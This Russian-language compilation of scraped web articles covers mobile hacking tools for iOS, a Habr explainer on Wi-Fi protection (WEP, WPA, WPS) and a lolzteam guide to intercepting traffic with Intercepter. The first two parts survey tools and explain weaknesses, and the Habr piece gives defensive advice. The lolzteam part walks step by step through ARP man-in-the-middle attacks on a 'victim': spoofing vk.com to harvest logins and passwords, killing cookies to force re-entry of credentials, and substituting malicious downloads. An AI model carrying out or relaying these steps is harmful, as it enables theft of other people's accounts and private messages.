Intercepter-NG (console edition)

Небезызвестный сниффер Intercepter-NG с недавнего времени имеет консольную версию, которая работает на iOS и Android. В ней уже реализован граббинг паролей, передаваемых по самым разным протоколам, перехват сообщений мессенджеров, а также воскрешение файлов из трафика. При этом доступны функции сканирования сети и качественный ARP Poison. Для работы необходимо предварительно установить через Cydia пакет libpcap. Вся инструкция по запуску сводится к установке правильных прав: chmod +x intercepter_ios. Далее, если запустить сниффер без параметров, появится понятный интерактивный интерфейс.

Ettercap-NG

Трудно поверить, но этот сложнейший инструмент для реализации MITM-атак всетаки портировали под iOS. После колоссальной работы получилось сделать полноценный мобильный порт. Чтобы избавить себя от танцев с бубном вокруг зависимостей во время самостоятельной компиляции, лучше установить уже собранный пакет, используя Cydia, предварительно добавив в качестве источника данных heworm.altervista.org/cydia. В комплекте идет и утилита etterlog, которая помогает извлечь из собранного дампа трафика различного рода полезную информацию (к примеру, аккаунты к FTP).

АНАЛИЗ БЕСПРОВОДНЫХ СЕТЕЙ:

WiFi Analyzer

В старых версиях iOS умельцы запускали aircrack и могли ломать WEP-ключ, но мы проверили: на новых устройствах программа не работает. Поэтому для исследования Wi-Fi нам придется довольствоваться только Wi-Fi-сканерами. WiFi Analyzer анализирует и отображает информацию обо всех доступных 802.11 сетях вокруг, включая информацию о SSID, каналах, вендорах, MAC-адресах и типах шифрования. С такой программой легко найти физическое местоположение точки, если ты вдруг его забыл, и, например, посмотреть написанный WPS PIN, необходимый для подключения.

СЕТЕВЫЕ СКАНЕРЫ:

Scany

Какой программой пользуется любой пентестер в любой точке планеты независимо от целей и задач? Сетевым сканером. И в случае с iOS это, скорее всего, будет мощнейший тулкит Scany. Благодаря набору встроенных утилит можно быстро получить подробную картину о сетевых устройствах и, к примеру, открытых портах. Помимо этого пакет включает в себя утилиты тестирования сети, такие как ping, traceroute, nslookup.

Fing

Впрочем, многие отдают предпочтение Fing’у. Сканер имеет достаточно простой и ограниченный функционал, но его вполне хватит для первого знакомства с сетью, скажем, кафетерия :). В результатах отображается информация о доступных сервисах на удаленных машинах, MAC-адреса и имена хостов, подключенных к сканируемой сети.

Nikto

Казалось бы, про Nikto все забыли, но почему? Ведь этот веб-сканер уязвимостей, написанный на скрипт-языке (а именно на Perl), ты легко сможешь установить через Cydia. А это значит, что ты без особого труда сможешь запустить его на своем джейлбрейкнутом устройстве из терминала. Nikto с радостью предоставит тебе дополнительную информацию по испытуемому веб-ресурсу. К тому же ты своими руками можешь добавить в его базу данных знаний собственные сигнатуры для поиска.

УДАЛЕННОЕ УПРАВЛЕНИЕ:

SNMP Scan

Многие сетевые устройства (в том числе дорогие роутеры) управляются по протоколу SNMP. Эта утилита позволяет просканировать подсети на наличие доступных сервисов SNMP с заранее известным значением community string (проще говоря, стандартными паролями). Заметим, что поиск сервисов SNMP со стандартными community string (public/private) в попытке получить доступ к управлению устройствами — неотъемлемая часть любого теста на проникновение наряду сидентификацией самого периметра и выявлением сервисов.

iTap mobile RDP / iTap mobile VNC

Две утилиты от одного производителя предназначены для подключения к удаленному рабочему столу по протоколам RDP и VNC. Подобных утилит в App Store много, но именно эти особенно удобны в использовании.

ВОССТАНОВЛЕНИЕ ПАРОЛЕЙ:

Hydra

Легендарная программа, помогающая «вспомнить» пароль миллионам хакеров по всему миру, была портирована под iOS. Теперь прямо с iPhone’а возможен перебор паролей к таким сервисам, как HTTP, FTP, Telnet, SSH, SMB, VNC, SMTP, POP3 и многим другим. Правда, для более эффективной атаки лучше запастись хорошими словарями для брутфорса.

PassMule

Всем не понаслышке известна такая уязвимость, как использование стандартных паролей. PassMule представляет собой своего рода справочник, в котором собраны всевозможные стандартные логины и пароли для сетевых устройств. Они удобно разложены по названиям вендоров, продуктам и моделям, так что найти нужный не составит труда.

ЭКСПЛУАТАЦИЯ УЯЗВИМОСТЕЙ:

METASPLOITwww.metasploit.com

Сложно представить себе более хакерскую утилиту, нежели Metasploit, — и именно она завершает наш сегодняшний обзор. Metasploit — это пакет разнообразных инструментов, основная задача которого заключается в эксплуатации уязвимостей в программном обеспечении. Представь: около 1000 надежных, проверенных и необходимых в повседневной жизни пентестера эксплойтов — прямо на смартфоне! С помощью такого инструмента реально можно обосноваться в любой сети. Metasploit позволяет не только эксплуатировать бреши в серверных приложениях — доступны также инструменты для атак на клиентские приложения (например, через модуль Browser Autopwn, когда в трафик клиентов вставляется боевая нагрузка). Мобильной версии тулкита не существует, однако на Apple-устройство можно установить стандартный пакет, воспользовавшись подробной инструкцией .

Также нелишним будет напомнить что другие хакерские утилиты для андроид вы всегда можете найти на нашем сайте:

Шифрование android телефона.Как установить Kali NetHunter на androidПовышаем безопасность android с помощью xposedWifi Analyzer – приложение для анализа WiFi сигнала в android.Проект Vault – защищенный компьютер внутри Micro SD карты.Как остаться анонимным при использовании смартфона.

[Всего голосов: 101    Средний: 3.1/5]

Вам может быть интересно также:

Last updated by cryptoworld at Январь 26, 2017.

cryptoworld.su

проникновение и защита. 1) Матчасть / Хабрахабр

Синоптики предсказывают, что к 2016 году наступит второй ледниковый период трафик в беспроводных сетях на 10% превзойдёт трафик в проводном Ethernet. При этом от года в год частных точек доступа становится примерно на 20% больше.

При таком тренде не может не радовать то, что 80% владельцев сетей не меняют пароли доступа по умолчанию. В их число входят и сети компаний.

Этим циклом статей я хочу собрать воедино описания существующих технологии защит, их проблемы и способы обхода, таким образом, что в конце читатель сам сможет сказать, как сделать свою сеть непробиваемой, и даже наглядно продемонстрировать проблемы на примере незадачливого соседа (do not try this at home, kids). Практическая сторона взлома будет освещена с помощью Kali Linux (бывший Backtrack 5) в следующих частях.

Статья по мере написания выросла с 5 страниц до 40, поэтому я решил разбить её на части. Этот цикл — не просто инструкция, как нужно и не нужно делать, а подробное объяснение причин для этого. Ну, а кто хочет инструкций — они такие:

Используйте WPA2-PSK-CCMP с паролем от 12 символов a-z (2000+ лет перебора на ATI-кластере). Измените имя сети по умолчанию на нечто уникальное (защита от rainbow-таблиц). Отключите WPS (достаточно перебрать 10000 комбинаций PIN). Не полагайтесь на MAC-фильтрацию и скрытие SSID.Оглавление:1) Матчасть2) Kali. Скрытие SSID. MAC-фильтрация. WPS3) WPA. OpenCL/CUDA. Статистика подбора Но сначала — матчасть.
Передайте мне сахар
Представьте, что вы — устройство, которое принимает инструкции. К вам может подключиться каждый желающий и отдать любую команду. Всё хорошо, но на каком-то этапе потребовалось фильтровать личностей, которые могут вами управлять. Вот здесь и начинается самое интересное.

Как понять, кто может отдать команду, а кто нет? Первое, что приходит в голову — по паролю. Пусть каждый клиент перед тем, как передать новую команду, передаст некий пароль. Таким образом, вы будете выполнять только команды, которые сопровождались корректным паролем. Остальные — фтопку.

Именно так работает базовая авторизация HTTP (Auth Basic):AuthType Basic AuthName "My super secret zone!" AuthUserFile /home/.htpasswd Require valid-user

После успешной авторизации браузер просто-напросто будет передавать определённый заголовок при каждом запросе в закрытую зону:

Authorization: Basic YWRtaW46cGFzcw== То есть исходное:echo -n 'admin:pass' | base64 # YWRtaW46cGFzcw== У данного подхода есть один большой недостаток — так как пароль (или логин-пароль, что по сути просто две части того же пароля) передаётся по каналу «как есть» — кто угодно может встрять между вами и клиентом и получить ваш пароль на блюдечке. А затем использовать его и распоряжаться вами, как угодно!

Для предотвращения подобного безобразия можно прибегнуть к хитрости: использовать какой-либо двухсторонний алгоритм шифрования, где закрытым ключом будет как раз наш пароль, и явно его никогда не передавать. Однако проблемы это не решит — достаточно один раз узнать пароль и можно будет расшифровать любые данные, переданные в прошлом и будущем, плюс шифровать собственные и успешно маскироваться под клиента. А учитывая то, что пароль предназначен для человека, а люди склонны использовать далеко не весь набор из 256 байт в каждом символе, да и символов этих обычно около 6-8… в общем, комсомол не одобрит.

Что делать? А поступим так, как поступают настоящие конспираторы: при первом контакте придумаем длинную случайную строку (достаточно длинную, чтобы её нельзя было подобрать, пока светит это солнце), запомним её и все дальнейшие передаваемые данные будем шифровать с использованием этого «псевдонима» для настоящего пароля. А ещё периодически менять эту строку — тогда джедаи вообще не пройдут.

Первые две передачи (зелёные иконки на рисунке выше) — это фаза с «пожатием рук» (handshake), когда сначала мы говорим серверу о нашей легитимности, показывая правильный пароль, на что сервер нам отвечает случайной строкой, которую мы затем используем для шифрования и передачи любых данных.

Итак, для подбора ключа хакеру нужно будет либо найти уязвимость в алгоритме его генерации (как в случае с Dual_EC_DRBG), либо арендовать сотню-другую параллельных вселенных и несколько тысяч ATI-ферм для решения этой задачи при своей жизни. Всё это благодаря тому, что случайный ключ может быть любой длины и содержать любые коды из доступных 256, потому что пользователю-человеку никогда не придётся с ним работать.

Именно такая схема с временным ключом (сеансовый ключ, session key или ticket) в разных вариациях и используется сегодня во многих системах — в том числе SSL/TLS и стандартах защиты беспроводных сетей, о которых будет идти речь.

План атаки
Внимательные читатели, конечно, заметили, что как бы мы не хитрили — от передачи пароля и временного ключа в открытой или хэшированной форме нам никуда не деться. Как результат — достаточно хакеру перехватить передачу на этой фазе, и он сможет читать все последующие данные, а также участвовать в процессе, вставляя свои пять копеек. И отличить его невозможно, так как вся информация, которой бы мог руководствоваться сервер для выдачи временного ключа или проверки доступа базируется именно на том, что было в начале передачи — handshake. Поэтому хакер знает всё то же, что и сервер, и клиент, и может водить обоих за нос, пока не истечёт срок действия временного ключа.

Наша задача при взломе любой передачи так или иначе сводится к перехвату рукопожатия, из которого можно будет либо вытащить временный ключ, либо исходный пароль, либо и то, и другое. В целом, это довольно долгое занятие и требует определённой удачи.

Но это в идеальном мире…

Механизмы защиты Wi-Fi
Технологии создаются людьми и почти во всех из них есть ошибки, иногда достаточно критические, чтобы обойти любую самую хорошую в теории защиту. Ниже мы пробежимся по списку существующих механизмов защиты передачи данных по радиоканалу (то есть не затрагивая SSL, VPN и другие более высокоуровневые способы).
OPEN

OPEN — это отсутствие всякой защиты. Точка доступа и клиент никак не маскируют передачу данных. Почти любой беспроводной адаптер в любом ноутбуке с Linux может быть установлен в режим прослушки, когда вместо отбрасывания пакетов, предназначенных не ему, он будет их фиксировать и передавать в ОС, где их можно спокойно просматривать. Кто у нас там полез в Твиттер?

Именно по такому принципу работают проводные сети — в них нет встроенной защиты и «врезавшись» в неё или просто подключившись к хабу/свичу сетевой адаптер будет получать пакеты всех находящихся в этом сегменте сети устройств в открытом виде. Однако с беспроводной сетью «врезаться» можно из любого места — 10-20-50 метров и больше, причём расстояние зависит не только от мощности вашего передатчика, но и от длины антенны хакера. Поэтому открытая передача данных по беспроводной сети гораздо более опасна.

В этом цикле статей такой тип сети не рассматривается, так как взламывать тут нечего. Если вам нужно пользоваться открытой сетью в кафе или аэропорту — используйте VPN (избегая PPTP) и SSL (https://, но при этом поставьте HTTPS Everywhere, или параноидально следите, чтобы из адресной строки «внезапно» не исчез замок, если кто включит sslstrip — что, впрочем, переданных паролей уже не спасёт), и даже всё вместе. Тогда ваших котиков никто не увидит.

WEP

WEP — первый стандарт защиты Wi-Fi. Расшифровывается как Wired Equivalent Privacy («эквивалент защиты проводных сетей»), но на деле он даёт намного меньше защиты, чем эти самые проводные сети, так как имеет множество огрехов и взламывается множеством разных способов, что из-за расстояния, покрываемого передатчиком, делает данные более уязвимыми. Его нужно избегать почти так же, как и открытых сетей — безопасность он обеспечивает только на короткое время, спустя которое любую передачу можно полностью раскрыть вне зависимости от сложности пароля. Ситуация усугубляется тем, что пароли в WEP — это либо 40, либо 104 бита, что есть крайне короткая комбинация и подобрать её можно за секунды (это без учёта ошибок в самом шифровании).

WEP был придуман в конце 90-х, что его оправдывает, а вот тех, кто им до сих пор пользуется — нет. Я до сих пор на 10-20 WPA-сетей стабильно нахожу хотя бы одну WEP-сеть.

На практике существовало несколько алгоритмов шифровки передаваемых данных — Neesus, MD5, Apple — но все они так или иначе небезопасны. Особенно примечателен первый, эффективная длина которого — 21 бит (~5 символов).

Основная проблема WEP — в фундаментальной ошибке проектирования. Как было проиллюстрировано в начале — шифрование потока делается с помощью временного ключа. WEP фактически передаёт несколько байт этого самого ключа вместе с каждым пакетом данных. Таким образом, вне зависимости от сложности ключа раскрыть любую передачу можно просто имея достаточное число перехваченных пакетов (несколько десятков тысяч, что довольно мало для активно использующейся сети).

К слову, в 2004 IEEE объявили WEP устаревшим из-за того, что стандарт «не выполнил поставленные перед собой цели [обеспечения безопасности беспроводных сетей]».

Про атаки на WEP будет сказано в третьей части. Скорее всего в этом цикле про WEP не будет, так как статьи и так получились очень большие, а распространённость WEP стабильно снижается. Кому надо — легко может найти руководства на других ресурсах.

WPA и WPA2

WPA — второе поколение, пришедшее на смену WEP. Расшифровывается как Wi-Fi Protected Access. Качественно иной уровень защиты благодаря принятию во внимание ошибок WEP. Длина пароля — произвольная, от 8 до 63 байт, что сильно затрудняет его подбор (сравните с 3, 6 и 15 байтами в WEP).

Стандарт поддерживает различные алгоритмы шифрования передаваемых данных после рукопожатия: TKIP и CCMP. Первый — нечто вроде мостика между WEP и WPA, который был придуман на то время, пока IEEE были заняты созданием полноценного алгоритма CCMP. TKIP так же, как и WEP, страдает от некоторых типов атак, и в целом не безопасен. Сейчас используется редко (хотя почему вообще ещё применяется — мне не понятно) и в целом использование WPA с TKIP почти то же, что и использование простого WEP.

Одна из занятных особенностей TKIP — в возможности так называемой Michael-атаки. Для быстрого залатывания некоторых особо критичных дыр в WEP в TKIP было введено правило, что точка доступа обязана блокировать все коммуникации через себя (то есть «засыпать») на 60 секунд, если обнаруживается атака на подбор ключа (описана во второй части). Michael-атака — простая передача «испорченных» пакетов для полного отключения всей сети. Причём в отличии от обычного DDoS тут достаточно всего двух (двух) пакетов для гарантированного выведения сети из строя на одну минуту.

WPA отличается от WEP и тем, что шифрует данные каждого клиента по отдельности. После рукопожатия генерируется временный ключ — PTK — который используется для кодирования передачи этого клиента, но никакого другого. Поэтому даже если вы проникли в сеть, то прочитать пакеты других клиентов вы сможете только, когда перехватите их рукопожатия — каждого по отдельности. Демонстрация этого с помощью Wireshark будет в третьей части.

Кроме разных алгоритмов шифрования, WPA(2) поддерживают два разных режима начальной аутентификации (проверки пароля для доступа клиента к сети) — PSK и Enterprise. PSK (иногда его называют WPA Personal) — вход по единому паролю, который вводит клиент при подключении. Это просто и удобно, но в случае больших компаний может быть проблемой — допустим, у вас ушёл сотрудник и чтобы он не мог больше получить доступ к сети приходится применять способ из «Людей в чёрном» менять пароль для всей сети и уведомлять об этом других сотрудников. Enterprise снимает эту проблему благодаря наличию множества ключей, хранящихся на отдельном сервере — RADIUS. Кроме того, Enterprise стандартизирует сам процесс аутентификации в протоколе EAP (Extensible Authentication Protocol), что позволяет написать собственный велосипед алгоритм. Короче, одни плюшки для больших дядей.

В этом цикле будет подробно разобрана атака на WPA(2)-PSK, так как Enterprise — это совсем другая история, так как используется только в больших компаниях.

WPS/QSS

WPS, он же Qikk aSS QSS — интересная технология, которая позволяет нам вообще не думать о пароле, а просто добавить воды нажать на кнопку и тут же подключиться к сети. По сути это «легальный» метод обхода защиты по паролю вообще, но удивительно то, что он получил широкое распространение при очень серьёзном просчёте в самой системе допуска — это спустя годы после печального опыта с WEP.

WPS позволяет клиенту подключиться к точке доступа по 8-символьному коду, состоящему из цифр (PIN). Однако из-за ошибки в стандарте нужно угадать лишь 4 из них. Таким образом, достаточно всего-навсего 10000 попыток подбора и вне зависимости от сложности пароля для доступа к беспроводной сети вы автоматически получаете этот доступ, а с ним в придачу — и этот самый пароль как он есть.

Учитывая, что это взаимодействие происходит до любых проверок безопасности, в секунду можно отправлять по 10-50 запросов на вход через WPS, и через 3-15 часов (иногда больше, иногда меньше) вы получите ключи от рая.

Когда данная уязвимость была раскрыта производители стали внедрять ограничение на число попыток входа (rate limit), после превышения которого точка доступа автоматически на какое-то время отключает WPS — однако до сих пор таких устройств не больше половины от уже выпущенных без этой защиты. Даже больше — временное отключение кардинально ничего не меняет, так как при одной попытке входа в минуту нам понадобится всего 10000/60/24 = 6,94 дней. А PIN обычно отыскивается раньше, чем проходится весь цикл.

Хочу ещё раз обратить ваше внимание, что при включенном WPS ваш пароль будет неминуемо раскрыт вне зависимости от своей сложности. Поэтому если вам вообще нужен WPS — включайте его только когда производится подключение к сети, а в остальное время держите этот бекдор выключенным.

Атака на WPS будет рассмотрена во второй части.

p.s: так как тема очень обширная, в материал могли закрасться ошибки и неточности. Вместо криков «автор ничего не понимает» лучше использовать комментарии и ЛС. Это будет только приветствоваться.

Оглавление:1) Матчасть2) Kali. Скрытие SSID. MAC-фильтрация. WPS3) WPA. OpenCL/CUDA. Статистика подбора

habrahabr.ru

Перехват трафика внутри Wi-fi сети

ДА, это баян!

IntercepterIntercepter – это многофункциональный сетевой инструмент, который позволяет получить данные из трафика (пароли, сообщения в мессенджерах, переписки и т.д.) и реализовать различные MiTM-атаки.

Интерфейс программы IntercepterОсновной функционал

  • Перехват сообщений мессенджеров.
  • Перехват кукис файлов и паролей.
  • Перехват активности (страницы, файлы, данные).
  • Возможность подмены скачивания файлов, добавляя вредоносные файлы. Можно использовать совместно с другими утилитами.
  • Подмена сертификатов Https на Http.
Режимы работыMessengers Mode – позволяет проверять переписку, которая была отправлена в незашифрованном виде. Применялась для перехвата сообщений в таких мессенджерах ICQ, AIM, JABBER сообщений.

Ressurection Mode – восстановления полезных данных из трафика, из протоколов которые передают трафик в открытом виде. Когда жертва просматривает файлы, страницы, данные, можно частично или полностью их перехватывать. Дополнительно можно указать размер файлов, чтобы не загружать программу маленькими частями. Эту информацию можно использовать для анализа.

Password Mode – режим для работы с куки файлами. Таким образом, можно получить доступы к посещаемым файлам жертвы.

Scan mode – основной режим для тестирования. Для начала сканирования необходимо нажать правой кнопкой мыши Smart Scan. После сканирования в окне будут отображаться все участники сети, их операционная система и другие параметры.

Дополнительно в этом режиме можно просканировать порты. Необходимо воспользоваться функцией Scan Ports. Конечно для этого есть и намного функциональные утилиты, но наличие этой функции – важный момент.

Если в сети нас интересует целенаправленная атака, то после сканирования необходимо добавить целевой IP в Nat с помощью команды (Add to Nat). В другом окне можно будет провести другие атаки.

Nat Mode. Основной режим, который позволяет проводить ряд атак по ARP. Это основное окно, которое позволяет проводить целенаправленные атаки.

DHCP mode. Это режим, который позволяет поднять свой DHCP сервер для реализации атак DHCP по середине.

Некоторые виды атак, которые можно проводить Подмена сайта

Для подмена сайта у жертвы необходимо перейти в Target, после этого необходимо указать сайт и его подмену. Таким образом можно подменить достаточно много сайтов. Все зависит от того, насколько качественный будет фейк.

Подмена сайтаПример для VK.comВыбираем MiTM атакуИзменяем правило для иньекцииВ результате жертва открывает фейковый сайт при запросе vk.com. И в режиме паролей должен быть логин и пароль жертвы:

Авторизация жертвыРасшифровка трафика

Чтобы провести целенаправленную атаку необходимо выбрать жертву из списку и добавить ее в таргет. Это можно сделать с помощью правой кнопкой мыши.

Добавления MiTm атакиТеперь можно в режиме Ressurection Mode восстановить разные данные из трафика.

Файлы и информация жертвы посредством MiTm атакиПодмена трафика

Подмена запросовДалее необходимо указать в настройках несколько параметров:

Указание настроекПосле этого у жертвы будет меняться запрос "trust" на "loser".

Дополнительно можно убить кукис-файлы, чтобы жертва вышла со всех аккаунтов и повторно авторизовалась. Это позволит перехватить логины и пароли.

Уничтожение кукис файловКак увидеть потенциального сниферра в сети с помощью Intercepter? С помощью опции Promisc Detection можно обнаружить устройство, которое ведет сканирование в локальной сети. После сканирование в графе status будет «Sniffer». Это первый способ, которые позволяет определить сканирование в локальной сети.

Обнаружение SnifferУстройство SDR HackRF HackRFSDR - это своеобразный радиоприемник, который позволяет работать с разными радиочастотными параметрами. Таким образом, можно перехватывать сигнал Wi-Fi, GSM, LTE и т.д.

HackRF - это полноценное SDR-устройство за 300 долларов. Автор проекта Майкл Оссман разрабатывает успешные устройства в этом направлении. Ранее был разработан и успешно реализован Bluetooth-снифер Ubertooth. HackRF успешный проект, который собрал более 600 тысяч на Kickstarter. Уже было реализовано 500 таких устройств для бета-тестирования.

HackRF работает в диапазоне частот от 30 МГц до 6 ГГц. Частота дискретизации составляет 20 МГц, что позволяет перехватывать сигналы Wi-FI и LTE сетей.

Как обезопасить себя на локальном уровне? Для начала воспользуемся софтом SoftPerfect WiFi Guard. Есть портативная версия, которая занимает не более 4 мб. Она позволяет сканировать вашу сеть и отображать, какие устройства в ней отображены. В ней есть настройки, которые позволяют выбрать сетевую карту и максимальное количество сканируемых устройств. Дополнительно можно выставить интервал сканирования.

Интерфейс программы SoftPerfect WiFi GuardПосле сканирования программа присылает уведомления, сколько есть неизвестный устройств. Это позволяет нам добавлять и отмечать доверенных пользователей и заметить, если кто-то подключился и начинает прослушивать трафик. Уведомления будут приходить после каждого интервала сканирования. Это позволяет отключить определенного мошенника на уроне роутера, если есть подозрительные действия.

Настройки программы SoftPerfect WiFi GuardВозможность добавления комментариев для пользователейОкно уведомления незнакомых девайсов после каждого заданного интервала сканированияЗаключениеТаким образом, мы рассмотрели на практике, как использовать программное обеспечение для перехвата данных внутри сети. Рассмотрели несколько конкретных атак, которые позволяют получить данные для входа, а также другую информацию. Дополнительно рассмотрели SoftPerfect WiFi Guard, которые позволяет на примитивном уровне защитить локальную сеть от прослушивания трафика.

 

lolzteam.net


Смотрите также